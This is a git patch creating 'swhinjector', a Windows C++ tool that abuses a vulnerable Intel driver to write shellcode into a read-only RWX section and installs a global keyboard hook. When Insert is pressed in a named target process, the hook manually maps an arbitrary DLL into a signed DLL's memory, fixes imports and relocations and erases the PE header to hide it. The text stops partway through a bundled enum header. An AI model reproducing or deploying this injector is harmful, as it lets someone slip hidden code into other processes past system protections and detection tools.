From a70e8162085dd6ef33c75426004edbd6931c17cb Mon Sep 17 00:00:00 2001 From: olari Date: Mon, 21 Oct 2019 16:55:46 +0300 Subject: [PATCH] Initial --- .gitignore | 4 + swhinjector.sln | 31 + swhinjector/src/HookProcCallBack.cpp | 275 +++++ swhinjector/src/HookProcCallBack.h | 56 + swhinjector/src/Main.cpp | 256 +++++ swhinjector/src/QueryModule.cpp | 100 ++ swhinjector/src/QueryModule.h | 30 + swhinjector/src/enum.h | 1184 +++++++++++++++++++++ swhinjector/src/intel_driver.cpp | 370 +++++++ swhinjector/src/intel_driver.hpp | 144 +++ swhinjector/src/intel_driver_resource.hpp | 873 +++++++++++++++ swhinjector/src/nt.hpp | 79 ++ swhinjector/src/service.cpp | 54 + swhinjector/src/service.hpp | 10 + swhinjector/src/utils.cpp | 68 ++ swhinjector/src/utils.hpp | 17 + swhinjector/swhinjector.vcxproj | 160 +++ swhinjector/swhinjector.vcxproj.filters | 21 + 18 files changed, 3732 insertions(+) create mode 100644 .gitignore create mode 100644 swhinjector.sln create mode 100644 swhinjector/src/HookProcCallBack.cpp create mode 100644 swhinjector/src/HookProcCallBack.h create mode 100644 swhinjector/src/Main.cpp create mode 100644 swhinjector/src/QueryModule.cpp create mode 100644 swhinjector/src/QueryModule.h create mode 100644 swhinjector/src/enum.h create mode 100644 swhinjector/src/intel_driver.cpp create mode 100644 swhinjector/src/intel_driver.hpp create mode 100644 swhinjector/src/intel_driver_resource.hpp create mode 100644 swhinjector/src/nt.hpp create mode 100644 swhinjector/src/service.cpp create mode 100644 swhinjector/src/service.hpp create mode 100644 swhinjector/src/utils.cpp create mode 100644 swhinjector/src/utils.hpp create mode 100644 swhinjector/swhinjector.vcxproj create mode 100644 swhinjector/swhinjector.vcxproj.filters diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..a17845e --- /dev/null +++ b/.gitignore @@ -0,0 +1,4 @@ +bin +build +*.user +.vs \ No newline at end of file diff --git a/swhinjector.sln b/swhinjector.sln new file mode 100644 index 0000000..f67ccb4 --- /dev/null +++ b/swhinjector.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29411.108 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "swhinjector", "swhinjector\swhinjector.vcxproj", "{B6954F9A-4CF2-41D4-BFF8-E07B7E57D313}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {B6954F9A-4CF2-41D4-BFF8-E07B7E57D313}.Debug|x64.ActiveCfg = Debug|x64 + {B6954F9A-4CF2-41D4-BFF8-E07B7E57D313}.Debug|x64.Build.0 = Debug|x64 + {B6954F9A-4CF2-41D4-BFF8-E07B7E57D313}.Debug|x86.ActiveCfg = Debug|Win32 + {B6954F9A-4CF2-41D4-BFF8-E07B7E57D313}.Debug|x86.Build.0 = Debug|Win32 + {B6954F9A-4CF2-41D4-BFF8-E07B7E57D313}.Release|x64.ActiveCfg = Release|x64 + {B6954F9A-4CF2-41D4-BFF8-E07B7E57D313}.Release|x64.Build.0 = Release|x64 + {B6954F9A-4CF2-41D4-BFF8-E07B7E57D313}.Release|x86.ActiveCfg = Release|Win32 + {B6954F9A-4CF2-41D4-BFF8-E07B7E57D313}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {702D3EF9-46FC-4372-82BE-174AEC393C80} + EndGlobalSection +EndGlobal diff --git a/swhinjector/src/HookProcCallBack.cpp b/swhinjector/src/HookProcCallBack.cpp new file mode 100644 index 0000000..993ca19 --- /dev/null +++ b/swhinjector/src/HookProcCallBack.cpp @@ -0,0 +1,275 @@ +#include "HookProcCallBack.h" + +#define IMR_RELOFFSET(x) (x & 0xFFF) + +#undef RtlCopyMemory +#undef RtlFillMemory + +using TypeRtlFillMemory = void (__stdcall*)(void* dest, SIZE_T length, UCHAR FILL); +using TypeRtlCopyMemory = void (__stdcall*)(void* dest, void* source, SIZE_T length); + +#define DEFINE_FUNCTION(Name) auto Func_##Name = (decltype(Name)*)MapInfo->Functions[Func::Name]; auto Name = Func_##Name; +#define DEFINE_FUNCTION_WITH_TYPE(Name, Type) auto Func_##Name = (Type)MapInfo->Functions[Func::Name]; auto Name = Func_##Name; + +#pragma code_seg(push, ".hook$000") +LRESULT CALLBACK HookProcCallback(int code, WPARAM wParam, LPARAM lParam, MANUAL_MAP_INFORMATION* MapInfo) +{ + if (MapInfo->Loaded) + return 0; + + if (wParam != VK_INSERT) + return 0; + + /* + Do not use = {0} -> this calls memset + */ + + //check if current process is target process + DEFINE_FUNCTION(LoadLibraryA); + DEFINE_FUNCTION(GetProcAddress); + DEFINE_FUNCTION(CreateFileA); + DEFINE_FUNCTION(ReadFile); + DEFINE_FUNCTION(WriteFile); + DEFINE_FUNCTION(CloseHandle); + DEFINE_FUNCTION(VirtualAlloc); + DEFINE_FUNCTION(VirtualFree); + DEFINE_FUNCTION(GetCurrentProcessId); + DEFINE_FUNCTION(GetModuleFileNameA); + DEFINE_FUNCTION(AllocConsole); + DEFINE_FUNCTION_WITH_TYPE(RtlCopyMemory, TypeRtlCopyMemory) + DEFINE_FUNCTION_WITH_TYPE(RtlFillMemory, TypeRtlFillMemory) + + //check current process == target process + { + char buffer[MAX_PATH]; + RtlFillMemory(buffer, MAX_PATH, '\0'); + + char find = '\\'; + + char* name = nullptr; + + GetModuleFileNameA(NULL, buffer, sizeof(buffer)); + + for (int i = 0; buffer[i] != '\0'; ++i) + { + if (buffer[i] == find) + { + name = buffer + i; + } + } + ++name; + + int length = 0; + + while (name[length] != '\0') + ++length; + + if (length != MapInfo->TargetProcNameLength) + return 0; + + for (int i = 0; i < length; ++i) + { + if (name[i] != MapInfo->TargetProcessName[i]) + return 0; + } + } + + Debug_Info result = Debug_Info::FAIL; + HANDLE hTargetDll = INVALID_HANDLE_VALUE; + DWORD64 pFileBuffer = NULL; + DWORD64 pMappedImage = NULL; + DWORD64 BaseAddress = NULL; + DWORD64 EntryPoint = NULL; + + //Load Signed dll + auto SignedDllBaseAddress = LoadLibraryA(MapInfo->SignedDllPath); + + if (!SignedDllBaseAddress) + { + result = Debug_Info::SIGNED_DLL_FAILED_TO_LOAD; + goto CLEAN_UP; + } + + //Read Target Dll + hTargetDll = CreateFileA(MapInfo->TargetDllPath, GENERIC_READ, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); + if (hTargetDll == INVALID_HANDLE_VALUE) + { + result = Debug_Info::TARGET_DLL_CAN_NOT_OPEN; + goto CLEAN_UP; + } + + pFileBuffer = (DWORD64)VirtualAlloc(NULL, MapInfo->TargetDllFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + pMappedImage = (DWORD64)VirtualAlloc(NULL, MapInfo->TargetDllImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + if (!pFileBuffer || !pMappedImage) + { + result = Debug_Info::VIRTUALALLOC_FAILED; + goto CLEAN_UP; + } + + if (!ReadFile(hTargetDll, (LPVOID)pFileBuffer, MapInfo->TargetDllFileSize, NULL, NULL)) + { + result = Debug_Info::TARGET_DLL_CAN_NOT_READ; + goto CLEAN_UP; + } + + BaseAddress = (DWORD64)((DWORD64)SignedDllBaseAddress + MapInfo->RWXSecitionOffset); + + //prepare mapped image + { + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileBuffer; + PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pFileBuffer + pDosHeader->e_lfanew); + + EntryPoint = pNtHeader->OptionalHeader.AddressOfEntryPoint + BaseAddress; + + //Copy header + RtlCopyMemory((LPVOID)pMappedImage, (LPVOID)pFileBuffer, pNtHeader->OptionalHeader.SizeOfHeaders); + + //Copy section + for (PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)(pNtHeader + 1); + pSection < (PIMAGE_SECTION_HEADER)(pNtHeader + 1) + pNtHeader->FileHeader.NumberOfSections; + pSection++) + { + RtlCopyMemory((PVOID)(pMappedImage + pSection->VirtualAddress), (PVOID)(pFileBuffer + pSection->PointerToRawData), pSection->SizeOfRawData); + } + } + + //Fix imports + { + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pMappedImage; + PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pMappedImage + pDosHeader->e_lfanew); + + auto pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + pMappedImage); + + for (; pImportDesc->Name; ++pImportDesc) + { + const auto moduleName = (const char*)(pImportDesc->Name + pMappedImage); + const auto moduleBase = LoadLibraryA(moduleName); + if (!moduleBase) + { + result = Debug_Info::MAP_FIX_IMPORT_FAILED_TO_GET_FUNCTION; + goto CLEAN_UP; + } + + PIMAGE_THUNK_DATA pThunkData; + if (pImportDesc->OriginalFirstThunk) + pThunkData = (PIMAGE_THUNK_DATA)(pImportDesc->OriginalFirstThunk + pMappedImage); + else + pThunkData = (PIMAGE_THUNK_DATA)(pImportDesc->FirstThunk + pMappedImage); + + PIMAGE_THUNK_DATA64 pFuncData = (PIMAGE_THUNK_DATA64)(pImportDesc->FirstThunk + pMappedImage); + + for (; pThunkData->u1.AddressOfData; pThunkData++, pFuncData++) + { + DWORD64 FunctionAddress = NULL; + if (IMAGE_SNAP_BY_ORDINAL(pThunkData->u1.Ordinal)) + { + const auto ordinal = static_cast(pThunkData->u1.Ordinal & 0xFFFF); + FunctionAddress = (DWORD64)GetProcAddress(moduleBase, (LPCSTR)ordinal); + } + else + { + const auto pImport = (PIMAGE_IMPORT_BY_NAME)(pThunkData->u1.AddressOfData + pMappedImage); + const auto FuncName = pImport->Name; + FunctionAddress = (DWORD64)GetProcAddress(moduleBase, FuncName); + } + + if (!FunctionAddress) + { + result = Debug_Info::MAP_FIX_IMPORT_FAILED_TO_GET_FUNCTION; + goto CLEAN_UP; + } + pFuncData->u1.Function = FunctionAddress; + } + } + } + + //Relocate + { + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pMappedImage; + PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pMappedImage + pDosHeader->e_lfanew); + + DWORD64 RelocationDelta = BaseAddress - pNtHeader->OptionalHeader.ImageBase; + + if (RelocationDelta) + { + ULONG RelocationSize; PIMAGE_SECTION_HEADER pSectionHeader; + auto pRelocDir = (PIMAGE_BASE_RELOCATION)(pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + pMappedImage); + + void * relocation_end = reinterpret_cast(pRelocDir) + pRelocDir->SizeOfBlock; + + while (pRelocDir < relocation_end) + { + auto relocation_base = pMappedImage + pRelocDir->VirtualAddress; + + auto num_relocs = (pRelocDir->SizeOfBlock - 8) >> 1; + + auto relocation_data = reinterpret_cast(pRelocDir + 1); + + for (unsigned long i = 0; i < num_relocs; ++i, ++relocation_data) + { + //IMAGE_REL_BASED_DIR64 + auto UNALIGNED raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(*relocation_data)); + *raw_address += RelocationDelta; + } + + pRelocDir = reinterpret_cast(relocation_data); + } + } + } + + //Erase Header + { + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pMappedImage; + PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pMappedImage + pDosHeader->e_lfanew); + + RtlFillMemory((PVOID)pMappedImage, pNtHeader->OptionalHeader.SizeOfHeaders, '\0'); + } + + //Copy and Write image + RtlCopyMemory((PVOID)BaseAddress, (PVOID)pMappedImage, MapInfo->TargetDllImageSize); + + //Call DllMain + { + using DllMainType = BOOL(*)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved); + + auto DllMain = (DllMainType)EntryPoint; + + DllMain((HINSTANCE)BaseAddress, DLL_PROCESS_ATTACH, NULL); + + result = Debug_Info::SUCCESS; + MapInfo->Loaded = true; + } + + //Clean resources +CLEAN_UP: + if (pFileBuffer) + VirtualFree((LPVOID)pFileBuffer, MapInfo->TargetDllFileSize, MEM_RELEASE); + + if (pMappedImage) + VirtualFree((LPVOID)pMappedImage, MapInfo->TargetDllFileSize, MEM_RELEASE); + + if (hTargetDll) + CloseHandle(hTargetDll); + + //Create communication file + const auto hCommunication = CreateFileA(MapInfo->CommunicationPath, GENERIC_READ | GENERIC_WRITE | FILE_SHARE_READ, 0, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr); + + if (hCommunication) + { + WriteFile(hCommunication, &result, sizeof(result), NULL, NULL); + CloseHandle(hCommunication); + } + + return 0; +} +#pragma code_seg(pop) + +#pragma code_seg(push, ".hook$001") + +void SubTract() +{ + ; +} + +#pragma code_seg(pop) \ No newline at end of file diff --git a/swhinjector/src/HookProcCallBack.h b/swhinjector/src/HookProcCallBack.h new file mode 100644 index 0000000..2ebb480 --- /dev/null +++ b/swhinjector/src/HookProcCallBack.h @@ -0,0 +1,56 @@ +#pragma once +#include +#include "enum.h" + +#undef RtlCopyMemory +#undef RtlFillMemory + +BETTER_ENUM(Func, int, + LoadLibraryA = 0, + GetProcAddress, + CreateFileA, + ReadFile, + WriteFile, + CloseHandle, + GetCurrentProcessId, + VirtualAlloc, + VirtualFree, + RtlCopyMemory, + RtlFillMemory, + GetModuleFileNameA, + AllocConsole +) + +BETTER_ENUM(Debug_Info, int, + FAIL = 0, + SUCCESS, + SIGNED_DLL_FAILED_TO_LOAD, + TARGET_DLL_CAN_NOT_OPEN, + TARGET_DLL_CAN_NOT_READ, + TARGET_DLL_BAD_PE_FILE, + VIRTUALALLOC_FAILED, + MAP_FIX_IMPORT_FAILED_TO_GET_MODULE, + MAP_FIX_IMPORT_FAILED_TO_GET_FUNCTION, + MAP_RLOCATION_FAILED +) + +struct MANUAL_MAP_INFORMATION +{ + char CommunicationPath[MAX_PATH]; // ÀÌ°É·Î Åë½Å + char SignedDllPath[MAX_PATH]; + char TargetDllPath[MAX_PATH]; + char TargetProcessName[MAX_PATH]; + size_t TargetProcNameLength; + size_t TargetDllFileSize; + size_t TargetDllImageSize; + size_t RWXSecitionOffset; + bool Loaded; + void* Functions[16]; +}; + + +LRESULT CALLBACK HookProcCallback(int code, WPARAM wParam, LPARAM lParam, MANUAL_MAP_INFORMATION* MapInfo); +void SubTract(); + +#define RtlCopyMemory(Destination,Source,Length) memcpy((Destination),(Source),(Length)) +#define RtlFillMemory(Destination,Length,Fill) memset((Destination),(Fill),(Length)) \ No newline at end of file diff --git a/swhinjector/src/Main.cpp b/swhinjector/src/Main.cpp new file mode 100644 index 0000000..85164da --- /dev/null +++ b/swhinjector/src/Main.cpp @@ -0,0 +1,256 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include "HookProcCallBack.h" +#include "QueryModule.h" + +#include "intel_driver.hpp" + +using namespace std; + +DWORD FindPid(const wchar_t* ProcessName) +{ + HANDLE hSnap; + DWORD pid = 0; + PROCESSENTRY32W ProcInfo; + ProcInfo.dwSize = sizeof(ProcInfo); + hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + Process32FirstW(hSnap, &ProcInfo); + do { + if (!wcscmp(ProcInfo.szExeFile, ProcessName)) { + pid = (ProcInfo.th32ProcessID); + break; + } + } while (Process32NextW(hSnap, &ProcInfo)); + CloseHandle(hSnap); + + return pid; +} + +string GetRandomString(int length) +{ + string str; + + srand(time(nullptr)); + + for (int i = 0; i < length; ++i) + { + auto random = rand(); + char value; + + if (random % 2) + { + value = random % 26 + 65; //string + } + else + { + value = random % 10 + 48; //number + } + + str.push_back(value); + } + return str; +} + +HANDLE device_handle; + +#pragma pack(push, 1) +struct ShellCode +{ + BYTE leaMapInfo[3] = { 0x48, 0x8D, 0x05 }; // lea rax,[rip+OffsetToMapInfo] + DWORD OffsetToMapInfo = 0; + BYTE MovR9Rax[3] = { 0x49, 0x89, 0xC1 }; // mov r9,rax + BYTE leaCallBackFunction[3] = { 0x48, 0x8D, 0x05 }; // lea rax,[rip+OffsetToCallBackFunction] + DWORD OffsetToCallBackFunction = 0; + BYTE JmpRax[2] = { 0xFF, 0xE0 }; +}; + +struct DataToWrite +{ + ShellCode Shell; + MANUAL_MAP_INFORMATION Information = { 0 }; + BYTE CallBackFunction[4096] = { 0 }; +}; +#pragma pack(pop) + +int main(const int argc, char** argv) +{ + if (argc < 4) + { + cout << "[-]Invalid Command" << endl; + getchar(); + return 0; + } + + const char* SignedDllName = argv[1]; + const char* TargetDllName = argv[2]; + const char* TargetProcName = argv[3]; + + char ShellContainerDllName[] = "ShellContainer.dll"; + + cout << "[+]Preparing Injection" << endl; + + DWORD64 ShellContainerModuleBase = (DWORD64)LoadLibraryA(ShellContainerDllName); + assert(ShellContainerModuleBase); + + SIZE_T Container_RWX_RVA = 0; + SIZE_T Container_RWX_SIZE = 0; + + //Get container dll section info + { + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)ShellContainerModuleBase; + + PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + (DWORD64)ShellContainerModuleBase); + assert(pNtHeader->Signature == IMAGE_NT_SIGNATURE); + + auto NumberOfSections = pNtHeader->FileHeader.NumberOfSections; + + PIMAGE_SECTION_HEADER pFirstSection = (PIMAGE_SECTION_HEADER)(pNtHeader + 1); + + for (int i = 0; i < NumberOfSections; ++i) + { + auto pCurrentSectionHeader = pFirstSection + i; + + auto Characteristics = pCurrentSectionHeader->Characteristics; + + bool executable = (Characteristics & IMAGE_SCN_MEM_EXECUTE) == IMAGE_SCN_MEM_EXECUTE; + bool writable = (Characteristics & IMAGE_SCN_MEM_WRITE) == IMAGE_SCN_MEM_WRITE; + + if (executable && writable) { + Container_RWX_RVA = pCurrentSectionHeader->VirtualAddress; + Container_RWX_SIZE = pCurrentSectionHeader->Misc.VirtualSize; + assert(Container_RWX_RVA); + assert(Container_RWX_SIZE); + break; + } + } + } + + try { + //Check size of a section for target dll + QueryModule SignedDllInfo(SignedDllName); + QueryModule TargetDllInfo(TargetDllName); + + auto Section = SignedDllInfo.FindSection(true, true, false, false); + + if (Section.SectionSize < TargetDllInfo.ImageSize) + throw exception("[-]Can not find proper section from proxy driver"); + + //Prepare for injection + DataToWrite DATA; + + //Initialize shellcode data + DATA.Shell.OffsetToMapInfo = (DWORD64)(&DATA.Information) - (DWORD64)(DATA.Shell.leaMapInfo) - 7; // 7 is for instrucion lengh of rax,[rip+OffsetToMapInfo] + DATA.Shell.OffsetToCallBackFunction = (DWORD64)(DATA.CallBackFunction) - (DWORD64)(DATA.Shell.leaCallBackFunction) - 7; + + //Copy CallBack Function + auto HookCallBackSize = (DWORD64)SubTract - (DWORD64)HookProcCallback; + memcpy(DATA.CallBackFunction, HookProcCallback, HookCallBackSize); + + char CommuniCationPathTemp[MAX_PATH] = { 0 }; + SHGetFolderPathA(NULL, CSIDL_MYDOCUMENTS, NULL, 0, CommuniCationPathTemp); + string sCommuniCationPath = string(CommuniCationPathTemp) + "\\" + GetRandomString(10); + cout << sCommuniCationPath << endl; + + //COPY INFO + strcpy(DATA.Information.CommunicationPath, sCommuniCationPath.c_str()); + strcpy(DATA.Information.TargetProcessName, TargetProcName); + GetFullPathNameA(SignedDllName, sizeof(DATA.Information.SignedDllPath), DATA.Information.SignedDllPath, NULL); + GetFullPathNameA(TargetDllName, sizeof(DATA.Information.TargetDllPath), DATA.Information.TargetDllPath, NULL); + + DATA.Information.TargetDllFileSize = TargetDllInfo.FileSize; + DATA.Information.TargetDllImageSize = TargetDllInfo.ImageSize; + DATA.Information.RWXSecitionOffset = Section.SectionBaseOffset; + DATA.Information.Loaded = false; + DATA.Information.TargetProcNameLength = strlen(TargetProcName); + + auto kerenl32 = GetModuleHandle("kernel32.dll"); + + for (Func f : Func::_values()) + { + DATA.Information.Functions[f._to_integral()] = GetProcAddress(kerenl32, f._to_string()); + } + + PVOID RWX_Secion_Address = (PVOID)(ShellContainerModuleBase + Container_RWX_RVA); + cout << std::hex << Container_RWX_RVA << endl; + + //This is essential + SIZE_T Min = 0, Max = 0; + GetProcessWorkingSetSize(GetCurrentProcess(), &Min, &Max); + SetProcessWorkingSetSize(GetCurrentProcess(), Min + sizeof(DATA), Max + sizeof(DATA)); + + if (!VirtualLock(RWX_Secion_Address, sizeof(DATA))) + throw exception("[-]Locking RWX failed"); + + //Initialize physical memory + + device_handle = intel_driver::Load(); + + if (!device_handle) + throw exception("[-]Couldn't load driver"); + + if (!intel_driver::WriteToReadOnlyMemory(device_handle, (uint64_t)RWX_Secion_Address, &DATA, sizeof(DATA))) + throw exception("[-]Cloudn't write memroy"); + + intel_driver::Unload(device_handle); + + VirtualUnlock(RWX_Secion_Address, sizeof(DATA)); + + //Prepare for injection + + //Check if communication file exists, if it exists, delete + auto hFile = CreateFileA(sCommuniCationPath.c_str(), GENERIC_READ, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); + + if (hFile != INVALID_HANDLE_VALUE) + { + CloseHandle(hFile); + DeleteFileA(sCommuniCationPath.c_str()); + } + + auto hHook = SetWindowsHookExA(WH_KEYBOARD, (HOOKPROC)(RWX_Secion_Address), (HMODULE)ShellContainerModuleBase, 0); + + if (!hHook) + { + string error = "[-]Setting hook failed : "; error += to_string(GetLastError()); + throw exception(error.c_str()); + } + + cout << "[+]Prepartion is finished, Waiting for " << TargetProcName << "..." << endl; + cout << "[+]Press Insert key to inject the dll " << endl; + + Debug_Info result = Debug_Info::FAIL; + + while (true) + { + hFile = CreateFileA(sCommuniCationPath.c_str(), GENERIC_READ | FILE_SHARE_READ, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); + if (hFile != INVALID_HANDLE_VALUE) + { + ReadFile(hFile, &result, sizeof(result), NULL, NULL); + CloseHandle(hFile); + DeleteFileA(sCommuniCationPath.c_str()); + break; + } + Sleep(100); + } + + UnhookWindowsHookEx(hHook); + + if (result._to_integral() == Debug_Info::SUCCESS) + cout << "[+]Injection Succeeded!" << endl; + else + cout << "[-]Injection Failed, Reason : " << result._to_string() << endl; + } + catch (exception ex) + { + intel_driver::Unload(device_handle); + cout << "Exception Occured -> " << ex.what() << endl; + } + + getchar(); + return 0; +} diff --git a/swhinjector/src/QueryModule.cpp b/swhinjector/src/QueryModule.cpp new file mode 100644 index 0000000..2a86616 --- /dev/null +++ b/swhinjector/src/QueryModule.cpp @@ -0,0 +1,100 @@ +#include "QueryModule.h" +#include +#include +#include + +using namespace std; + +QueryModule::QueryModule(const char * ModuleName) +{ + ifstream file(ModuleName, ios::binary | ios::in); + + if (!file.is_open()) + { + string message = string("can not open file : ") + ModuleName; + throw exception(message.c_str()); + } + + file.seekg(0, ios::end); + + const auto fileSize = file.tellg(); + file.seekg(0, ios::beg); + + auto pFileBuffer = new BYTE[fileSize]; + file.read((char*)pFileBuffer, fileSize); + + file.close(); + + //Getting section info + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileBuffer; + if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) + { + string message = string(ModuleName) + "is a bad PE file"; + throw exception(message.c_str()); + } + + PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + (DWORD64)pFileBuffer); + assert(pNtHeader->Signature == IMAGE_NT_SIGNATURE); + + ImageSize = pNtHeader->OptionalHeader.SizeOfImage; + FileSize = fileSize; + + auto NumberOfSections = pNtHeader->FileHeader.NumberOfSections; + + PIMAGE_SECTION_HEADER pFirstSection = (PIMAGE_SECTION_HEADER)(pNtHeader + 1); + + SECTION_INFO sectionInfo = { 0 }; + + for (int i = 0; i < NumberOfSections; ++i) + { + auto pCurrentSectionHeader = pFirstSection + i; + + auto Characteristics = pCurrentSectionHeader->Characteristics; + + bool executable = (Characteristics & IMAGE_SCN_MEM_EXECUTE) == IMAGE_SCN_MEM_EXECUTE; + bool writable = (Characteristics & IMAGE_SCN_MEM_WRITE) == IMAGE_SCN_MEM_WRITE; + bool discardable = (Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == IMAGE_SCN_MEM_DISCARDABLE; + bool non_pagable = (Characteristics & IMAGE_SCN_MEM_NOT_PAGED) == IMAGE_SCN_MEM_NOT_PAGED; + + SECTION_INFO section = { 0 }; + + section.discardable = discardable; + section.writable = writable; + section.non_pagable = non_pagable; + section.executable = executable; + section.SectionBaseOffset = pCurrentSectionHeader->VirtualAddress; + section.SectionSize = pCurrentSectionHeader->Misc.VirtualSize; + + SectionInfo.push_back(section); + } + + delete[] pFileBuffer; +} + +QueryModule::~QueryModule() +{ +} + + +QueryModule::SECTION_INFO QueryModule::FindSection(bool writable, bool executable, bool non_pagable, bool discardable) +{ + size_t BiggestSize = 0; + const SECTION_INFO* SelectedSection = nullptr; + + for (const auto& section : SectionInfo) + { + if (section.writable == writable && section.executable == executable && section.non_pagable == non_pagable && section.discardable == discardable) + { + if (BiggestSize < section.SectionSize) + { + SelectedSection = §ion; + BiggestSize = section.SectionSize; + } + } + } + + if (SelectedSection) + return *SelectedSection; + else + return SECTION_INFO{ 0 }; +} \ No newline at end of file diff --git a/swhinjector/src/QueryModule.h b/swhinjector/src/QueryModule.h new file mode 100644 index 0000000..90e6b5f --- /dev/null +++ b/swhinjector/src/QueryModule.h @@ -0,0 +1,30 @@ +#pragma once +#include +#include + + +class QueryModule +{ +public: + struct SECTION_INFO + { + DWORD64 SectionBaseOffset; + SIZE_T SectionSize; + bool writable; + bool executable; + bool discardable; + bool non_pagable; + }; + + + QueryModule(const char* ModuleName); + ~QueryModule(); + + size_t FileSize; + size_t ImageSize; + + SECTION_INFO FindSection(bool writable, bool executable, bool non_pagable, bool discardable); +private: + std::vector SectionInfo; +}; + diff --git a/swhinjector/src/enum.h b/swhinjector/src/enum.h new file mode 100644 index 0000000..2dac25c --- /dev/null +++ b/swhinjector/src/enum.h @@ -0,0 +1,1184 @@ +// This file is part of Better Enums, released under the BSD 2-clause license. +// See doc/LICENSE for details, or visit http://github.com/aantron/better-enums. + +#pragma once + +#ifndef BETTER_ENUMS_ENUM_H +#define BETTER_ENUMS_ENUM_H + + + +#include +#include +#include +#include + + + +// Feature detection. + +#ifdef __GNUC__ +# ifdef __clang__ +# if __has_feature(cxx_constexpr) +# define BETTER_ENUMS_HAVE_CONSTEXPR +# endif +# if !defined(__EXCEPTIONS) || !__has_feature(cxx_exceptions) +# define BETTER_ENUMS_NO_EXCEPTIONS +# endif +# else +# if defined(__GXX_EXPERIMENTAL_CXX0X__) || __cplusplus >= 201103L +# if (__GNUC__ > 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 6)) +# define BETTER_ENUMS_HAVE_CONSTEXPR +# endif +# endif +# ifndef __EXCEPTIONS +# define BETTER_ENUMS_NO_EXCEPTIONS +# endif +# endif +#endif + +#ifdef _MSC_VER +# ifndef _CPPUNWIND +# define BETTER_ENUMS_NO_EXCEPTIONS +# endif +# if _MSC_VER < 1600 +# define BETTER_ENUMS_VC2008_WORKAROUNDS +# endif +#endif + +#ifdef BETTER_ENUMS_CONSTEXPR +# define BETTER_ENUMS_HAVE_CONSTEXPR +#endif + +#ifdef BETTER_ENUMS_NO_CONSTEXPR +# ifdef BETTER_ENUMS_HAVE_CONSTEXPR +# undef BETTER_ENUMS_HAVE_CONSTEXPR +# endif +#endif + +// GCC (and maybe clang) can be made to warn about using 0 or NULL when nullptr +// is available, so Better Enums tries to use nullptr. This passage uses +// availability of constexpr as a proxy for availability of nullptr, i.e. it +// assumes that nullptr is available when compiling on the right versions of gcc +// and clang with the right -std flag. This is actually slightly wrong, because +// nullptr is also available in Visual C++, but constexpr isn't. This +// imprecision doesn't matter, however, because VC++ doesn't have the warnings +// that make using nullptr necessary. +#ifdef BETTER_ENUMS_HAVE_CONSTEXPR +# define BETTER_ENUMS_CONSTEXPR_ constexpr +# define BETTER_ENUMS_NULLPTR nullptr +#else +# define BETTER_ENUMS_CONSTEXPR_ +# define BETTER_ENUMS_NULLPTR NULL +#endif + +#ifndef BETTER_ENUMS_NO_EXCEPTIONS +# define BETTER_ENUMS_IF_EXCEPTIONS(x) x +#else +# define BETTER_ENUMS_IF_EXCEPTIONS(x) +#endif + +#ifdef __GNUC__ +# define BETTER_ENUMS_UNUSED(x) x __attribute__((__unused__)) +#else +# define BETTER_ENUMS_UNUSED(x) x +#endif + + + +// Higher-order preprocessor macros. + +#ifdef BETTER_ENUMS_MACRO_FILE +# include BETTER_ENUMS_MACRO_FILE +#else + +#define BETTER_ENUMS_PP_MAP(macro, data, ...) \ + BETTER_ENUMS_ID( \ + BETTER_ENUMS_APPLY( \ + BETTER_ENUMS_PP_MAP_VAR_COUNT, \ + BETTER_ENUMS_PP_COUNT(__VA_ARGS__)) \ + (macro, data, __VA_ARGS__)) + +#define BETTER_ENUMS_PP_MAP_VAR_COUNT(count) BETTER_ENUMS_M ## count + +#define BETTER_ENUMS_APPLY(macro, ...) BETTER_ENUMS_ID(macro(__VA_ARGS__)) + +#define BETTER_ENUMS_ID(x) x + +#define BETTER_ENUMS_M1(m, 